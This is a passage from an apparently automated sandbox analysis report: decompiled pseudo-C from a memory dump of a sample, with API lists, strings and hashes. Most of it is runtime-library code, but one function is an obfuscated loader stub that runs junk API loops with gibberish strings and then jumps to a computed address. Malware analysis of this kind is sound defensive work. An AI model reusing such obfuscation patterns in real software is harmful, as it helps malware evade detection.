						 *(_t263 - 4) = 0xfffffffe;
						E0042C8EF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E0042BB60(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E0041DE60(E00436C40(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA("\n");
				E0042C0F0(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x0042c1ee
0x0042c1fb
0x0042c2a8
0x0042c2ae
0x0042c2bf
0x0042c2ca
0x0042c2e2
0x0042c2e9
0x0042c2ee
0x0042c2f1
0x0042c2fe
0x0042c322
0x0042c327
0x0042c327
0x0042c32a
0x0042c32f
0x0042c335
0x0042c33e
0x0042c370
0x0042c375
0x0042c375
0x0042c33e
0x0042c37c
0x0042c382
0x0042c390
0x0042c384
0x0042c384
0x0042c384
0x0042c3bc
0x0042c3cc
0x0042c3d1
0x0042c3d1
0x0042c406
0x0042c40b
0x0042c412
0x0042c414
0x0042c421
0x0042c453
0x0042c458
0x0042c458
0x0042c47b
0x0042c48b
0x0042c490
0x0042c490
0x0042c497
0x0042c5a7
0x0042c5ac
0x0042c49d
0x0042c49d
0x0042c4ae
0x0042c4b9
0x0042c4c5
0x0042c4c6
0x0042c4c9
0x0042c4e4
0x0042c4e9
0x0042c4ec
0x0042c4f9
0x0042c51d
0x0042c522
0x0042c522
0x0042c530
0x0042c539
0x0042c56b
0x0042c570
0x0042c570
0x0042c573
0x0042c5af
0x0042c5b9
0x0042c5d8
0x0042c5e7
0x0042c60e
0x0042c613
0x0042c61d
0x0042c64f
0x0042c654
0x0042c654
0x0042c65e
0x0042c66d
0x0042c677
0x0042c683
0x0042c688
0x0042c68b
0x0042c692
0x0042c698
0x0042c6af
0x0042c6b8
0x0042c6d4
0x0042c6dd
0x0042c6df
0x0042c6e4
0x0042c6a9
0x00000000
0x0042c6a9
0x0042c6e6
0x0042c6f6
0x00000000
0x0042c6f6
0x0042c707
0x0042c777
0x0042c777
0x0042c77e
0x00000000
0x0042c77e
0x0042c709
0x0042c70f
0x0042c726
0x0042c72f
0x0042c74b
0x0042c754
0x0042c756
0x0042c75b
0x0042c720
0x00000000
0x0042c720
0x0042c75d
0x0042c76d
0x00000000
0x0042c76d
0x00000000
0x0042c790
0x0042c790
0x0042c797
0x0042c7a4
0x0042c7a6
0x0042c7b0
0x0042c7c2
0x0042c7c8
0x0042c7cd
0x0042c7cf
0x0042c7d9
0x0042c7df
0x0042c7df
0x0042c7cd
0x0042c7ec
0x0042c7ff
0x0042c81e
0x0042c823
0x0042c839
0x0042c839
0x0042c84c
0x0042c855
0x0042c855
0x0042c85b
0x0042c868
0x0042c86a
0x0042c875
0x0042c8a8
0x0042c8ad
0x0042c8ad
0x0042c8c0
0x0042c8cf
0x0042c8db
0x0042c8db
0x0042c868
0x0042c7ec
0x0042c8e1
0x0042c8e1
0x0042c8e8
0x0042c901
0x0042c90a
0x0042c912
0x0042c913
0x0042c914
0x0042c922
0x0042c922
0x0042c65e
0x0042c232
0x0042c23f
0x0042c249
0x0042c256
0x0042c24b
0x0042c24e
0x0042c24e
0x0042c260
0x0042c267
0x0042c272
0x0042c27f
0x0042c28a
0x0042c290
0x0042c295
0x00000000

APIs

InterlockedIncrement.KERNEL32(00441060), ref: 0042C1F3
__invoke_watson_if_error.LIBCMTD ref: 0042C232
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 0042C23F
OutputDebugStringA.KERNEL32(004061D4), ref: 0042C267
OutputDebugStringA.KERNEL32(, Line ), ref: 0042C272
OutputDebugStringA.KERNEL32(?), ref: 0042C27F
OutputDebugStringA.KERNEL32(004061C8), ref: 0042C28A
_wcscat_s.LIBCMTD ref: 0042C44A

Part of subcall function 00431FD0: __invalid_parameter.LIBCMTD ref: 00432042

__invoke_watson_if_error.LIBCMTD ref: 0042C453

Part of subcall function 0041DE60: __invoke_watson.LIBCMTD ref: 0041DE81

_wcscat_s.LIBCMTD ref: 0042C482

Part of subcall function 00431FD0: _memset.LIBCMT ref: 004320AB
Part of subcall function 00431FD0: __invalid_parameter.LIBCMTD ref: 00432107

__invoke_watson_if_error.LIBCMTD ref: 0042C48B
__snwprintf_s.LIBCMTD ref: 0042C4E4

Part of subcall function 0042BB30: __vsnprintf_s_l.LIBCMTD ref: 0042BB52

__invoke_watson_if_oneof.LIBCMTD ref: 0042C51D
_wcscpy_s.LIBCMTD ref: 0042C562
__invoke_watson_if_error.LIBCMTD ref: 0042C56B
__cftoe.LIBCMTD ref: 0042C5DF
__invoke_watson_if_oneof.LIBCMTD ref: 0042C60E
_wcscpy_s.LIBCMTD ref: 0042C646
__invoke_watson_if_error.LIBCMTD ref: 0042C64F
__itow_s.LIBCMTD ref: 0042C229

Part of subcall function 00436C40: _xtow_s@20.LIBCMTD ref: 00436C6B

__strftime_l.LIBCMTD ref: 0042C2E9
__invoke_watson_if_oneof.LIBCMTD ref: 0042C322
_wcscpy_s.LIBCMTD ref: 0042C367
__invoke_watson_if_error.LIBCMTD ref: 0042C370
_wcscpy_s.LIBCMTD ref: 0042C3C3
__invoke_watson_if_error.LIBCMTD ref: 0042C3CC
_wcscat_s.LIBCMTD ref: 0042C3FD
__invoke_watson_if_error.LIBCMTD ref: 0042C406

Strings

t8j, xrefs: 0042C61D
_VCrtDbgReportA, xrefs: 0042C20D, 0042C30C, 0042C34C, 0042C3A6, 0042C3E0, 0042C42F, 0042C467, 0042C507, 0042C547, 0042C5F9, 0042C62B, 0042C883
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 0042C630
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0042C3AB
t9j, xrefs: 0042C875
(*_errno()), xrefs: 0042C311, 0042C50C
%s(%d) : %s, xrefs: 0042C4CE
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0042C5FE
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 0042C212, 0042C888
, Line , xrefs: 0042C26D
Assertion failed!, xrefs: 0042C390
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C54C
<file unknown>, xrefs: 0042C256
Second Chance Assertion Failed: File , xrefs: 0042C23A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 0042C208, 0042C307, 0042C347, 0042C3A1, 0042C3DB, 0042C42A, 0042C462, 0042C502, 0042C542, 0042C5F4, 0042C626, 0042C87E
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0042C46C
Assertion failed: , xrefs: 0042C384
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 0042C3E5
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0042C351
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 0042C635
strcat_s(szLineMessage, 4096, "\r"), xrefs: 0042C434
_CrtDbgReport: String too long or IO Error, xrefs: 0042C356, 0042C551

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3801329020-1614164922
Opcode ID: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction ID: b91df1c456182575f0f05f696ee3054008923decdfc09e3dc4923ba59cf1ae8c
Opcode Fuzzy Hash: 30f18ba870276af20f5bca56be04f6190d5c96dbb82045817ba9ec9f92cb52b5
Instruction Fuzzy Hash: 7502A4B4E40728ABEB20EF50DC46BDF7378AB04746F50409AF5097A2C1D7B85A84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00419B22, Relevance: 42.1, APIs: 16, Strings: 8, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00419B22() {
				signed int _v8;
				char _v1116;
				char _v2140;
				char _v4188;
				struct _COORD _v4192;
				struct _STARTUPINFOW _v4268;
				union _ULARGE_INTEGER _v4276;
				union _ULARGE_INTEGER _v4284;
				char _v5308;
				union _ULARGE_INTEGER _v5316;
				char _v5604;
				signed int _v5608;
				void _v5640;
				signed int _v5644;

				E0041A960(0x1648);
				_v8 = _v8 & 0x00000000;
				while(_v8 < 0x332beaf6) {
					SetLastError(0);
					if( *0x55abe4 == 0x16) {
						GetProfileStringA("wegazevevemitohokababawijufapiyodewemu", "gugafavapisufetirenucihobeyokuxutebijubixofaxabe", "xoliwerarihazohupamuzuficumabaselacahexuxa",  &_v2140, 0);
						WriteProfileSectionW(0, 0);
						GetProfileStringA("yobahojicusenino", "pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow", "leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled",  &_v1116, 0);
					}
					GetLastError();
					if( *0x55abe4 == 0x9e) {
						__imp__GetSystemWow64DirectoryW( &_v4188, 0);
						GetWindowsDirectoryA( &_v5308, 0);
						__imp__GetCPInfoExA(0, 0,  &_v5604);
						GetDiskFreeSpaceExA("Yapey hetucironijas nuxo xukedosi bovuludut",  &_v4276,  &_v4284,  &_v5316);
						GetStartupInfoW( &_v4268);
						ReadConsoleOutputCharacterW(0, 0, 0, _v4192, 0);
					}
					if(_v8 <= 0x3775ee) {
						_v8 = _v8 + 1;
						continue;
					} else {
						break;
					}
				}
				L00419850( *0x453940,  *0x55abe4, 0x440010);
				_v5608 = _v5608 & 0x00000000;
				while(_v5608 < 0x3e79e) {
					if( *0x55abe4 == 0x10) {
						GlobalUnWire( &_v5640);
					}
					if(_v5608 == 0x1e673) {
						 *0x453940 =  *0x453940 + 0x3b3f;
					}
					_v5608 = _v5608 + 1;
				}
				_v5644 = _v5644 & 0x00000000;
				while(_v5644 < 0xdd9a7) {
					if( *0x55abe4 == 0xc01) {
						GetProcessHeap();
						GetProcessHeaps(0, 0);
						WritePrivateProfileStringA(0, 0, 0, 0);
						GetPriorityClass(0);
					}
					_v5644 = _v5644 + 1;
				}
				goto ( *0x453940);
			}

0x00419b2a
0x00419b2f
0x00419b3c
0x00419b4b
0x00419b58
0x00419b72
0x00419b7c
0x00419b9a
0x00419b9a
0x00419ba0
0x00419bb0
0x00419bbb
0x00419bca
0x00419bdb
0x00419bfb
0x00419c08
0x00419c1c
0x00419c1c
0x00419c29
0x00419b39
0x00000000
0x00419c2b
0x00000000
0x00419c2b
0x00419c29
0x00419c43
0x00419c48
0x00419c5e
0x00419c71
0x00419c7a
0x00419c7a
0x00419c8a
0x00419c8c
0x00419c8c
0x00419c58
0x00419c58
0x00419c98
0x00419cae
0x00419cc4
0x00419cc6
0x00419cd0
0x00419cde
0x00419ce6
0x00419ce6
0x00419ca8
0x00419ca8
0x00419cee

APIs

SetLastError.KERNEL32(00000000), ref: 00419B4B
GetProfileStringA.KERNEL32(wegazevevemitohokababawijufapiyodewemu,gugafavapisufetirenucihobeyokuxutebijubixofaxabe,xoliwerarihazohupamuzuficumabaselacahexuxa,?,00000000), ref: 00419B72
WriteProfileSectionW.KERNEL32(00000000,00000000), ref: 00419B7C
GetProfileStringA.KERNEL32(yobahojicusenino,pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow,leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled,?,00000000), ref: 00419B9A
GetLastError.KERNEL32 ref: 00419BA0
GetSystemWow64DirectoryW.KERNEL32(?,00000000), ref: 00419BBB
GetWindowsDirectoryA.KERNEL32(?,00000000), ref: 00419BCA
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 00419BDB
GetDiskFreeSpaceExA.KERNEL32(Yapey hetucironijas nuxo xukedosi bovuludut,?,?,?), ref: 00419BFB
GetStartupInfoW.KERNEL32(?), ref: 00419C08
ReadConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00419C1C
GlobalUnWire.KERNEL32(?), ref: 00419C7A
GetProcessHeap.KERNEL32 ref: 00419CC6
GetProcessHeaps.KERNEL32(00000000,00000000), ref: 00419CD0
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00419CDE
GetPriorityClass.KERNEL32(00000000), ref: 00419CE6

Strings

gugafavapisufetirenucihobeyokuxutebijubixofaxabe, xrefs: 00419B68
xoliwerarihazohupamuzuficumabaselacahexuxa, xrefs: 00419B63
Yapey hetucironijas nuxo xukedosi bovuludut, xrefs: 00419BF6
pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow, xrefs: 00419B90
leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled, xrefs: 00419B8B
u7, xrefs: 00419C22
wegazevevemitohokababawijufapiyodewemu, xrefs: 00419B6D
yobahojicusenino, xrefs: 00419B95

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: Profile$String$DirectoryErrorInfoLastProcessWrite$CharacterClassConsoleDiskFreeGlobalHeapHeapsOutputPriorityPrivateReadSectionSpaceStartupSystemWindowsWireWow64
String ID: Yapey hetucironijas nuxo xukedosi bovuludut$gugafavapisufetirenucihobeyokuxutebijubixofaxabe$leseyogibiforotoxidayutugizehinerulerusahuzuzuvuciled$pewanajoxevikexigopotozoyonaviholekiwipelezaxunoyedow$wegazevevemitohokababawijufapiyodewemu$xoliwerarihazohupamuzuficumabaselacahexuxa$yobahojicusenino$u7
API String ID: 182769965-1659383190
Opcode ID: 5f2de687d475635ed2ca2132cd9493804c355dbf62a4adb141242c4fb6a62492
Instruction ID: a9c8cc0060425722d5bdfdf300053bf63684b7c4906974d8c3fce10e1943e9ca
Opcode Fuzzy Hash: 5f2de687d475635ed2ca2132cd9493804c355dbf62a4adb141242c4fb6a62492
Instruction Fuzzy Hash: 5F417C71944248EFEB20DB90DE59BD973B9BB04702F5000A7F24AF60A0D7B95AC4CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00434E29, Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00434E29(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t647 = __edx;
					_t589 = __ebx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00428200(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00428200(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00428200(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00428200(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00428220(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00428220(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
											 *(_t701 - 0x2bc) =  *(_t701 - 0x2bc) & 0x00000000;
										}
										if( *(_t701 - 0x30) >= 0) {
											 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
											if( *(_t701 - 0x30) > 0x200) {
												 *(_t701 - 0x30) = 0x200;
											}
										} else {
											 *(_t701 - 0x30) = 1;
										}
										if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
											 *(_t701 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
										while(1) {
											L181:
											_t657 =  *(_t701 - 0x30) - 1;
											 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
											if( *(_t701 - 0x30) <= 0 && ( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t658 =  *(_t701 - 0x2c0);
											 *((intOrPtr*)(_t701 - 0x2ac)) = E00430630(_t658,  *(_t701 - 0x2bc),  *(_t701 - 8), _t657) + 0x30;
											asm("cdq");
											 *(_t701 - 0x2c0) = E004306B0( *(_t701 - 0x2c0),  *(_t701 - 0x2bc),  *(_t701 - 8), _t658);
											 *(_t701 - 0x2bc) = _t658;
											if( *((intOrPtr*)(_t701 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t701 - 0x2ac)) =  *((intOrPtr*)(_t701 - 0x2ac)) +  *((intOrPtr*)(_t701 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) =  *((intOrPtr*)(_t701 - 0x2ac));
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t701 - 0x24)) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
										 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
										if(( *(_t701 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t701 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t701 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											 *((intOrPtr*)(_t701 - 0x24)) =  *((intOrPtr*)(_t701 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t701 - 0x28)) != 0) {
																			L216:
																			if( *(_t701 - 0x20) != 0) {
																				L0041C3E0( *(_t701 - 0x20), 2);
																				_t704 = _t704 + 8;
																				 *(_t701 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																				_t665 =  *(_t701 - 0x251);
																				 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
																				if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
																						 *(_t701 - 0x310) = 0;
																					} else {
																						 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t701 - 0x250) =  *(_t701 - 0x310);
																				_t525 =  *(_t701 - 0x250) * 9;
																				_t611 =  *(_t701 - 0x25c);
																				_t665 = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t701 - 0x25c) != 8) {
																					L16:
																					 *(_t701 - 0x318) =  *(_t701 - 0x25c);
																					if( *(_t701 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435410))) {
																						case 0:
																							L18:
																							 *(_t701 - 0xc) = 0;
																							_t528 = E004310C0( *(_t701 - 0x251) & 0x000000ff, E0041ACF0(_t701 - 0x40));
																							_t707 = _t704 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435520( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t704 = _t707 + 0xc;
																								goto L218;
																							} else {
																								E00435520( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																								_t707 = _t707 + 0xc;
																								_t616 =  *( *(_t701 + 0xc));
																								 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																								_t665 =  *(_t701 + 0xc) + 1;
																								 *(_t701 + 0xc) = _t665;
																								asm("sbb eax, eax");
																								 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																								if(_t665 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E220();
																									_t707 = _t707 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t701 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422D10(_t616))) = 0x16;
																									E00422AA0(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t701 - 0x2f4) = 0xffffffff;
																									E0041ACC0(_t701 - 0x40);
																									_t518 =  *(_t701 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t74 = __ecx + 0x435448; // 0x498d04
																							__edx =  *_t74 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435430))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t98 = __ecx - 0x30; // -48
																								__edx = __eax + _t98;
																								 *(__ebp - 0x18) = __eax + _t98;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t109;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t117 = __ecx + 0x435470; // 0x4c7e9003
																							__edx =  *_t117 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M0043545C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
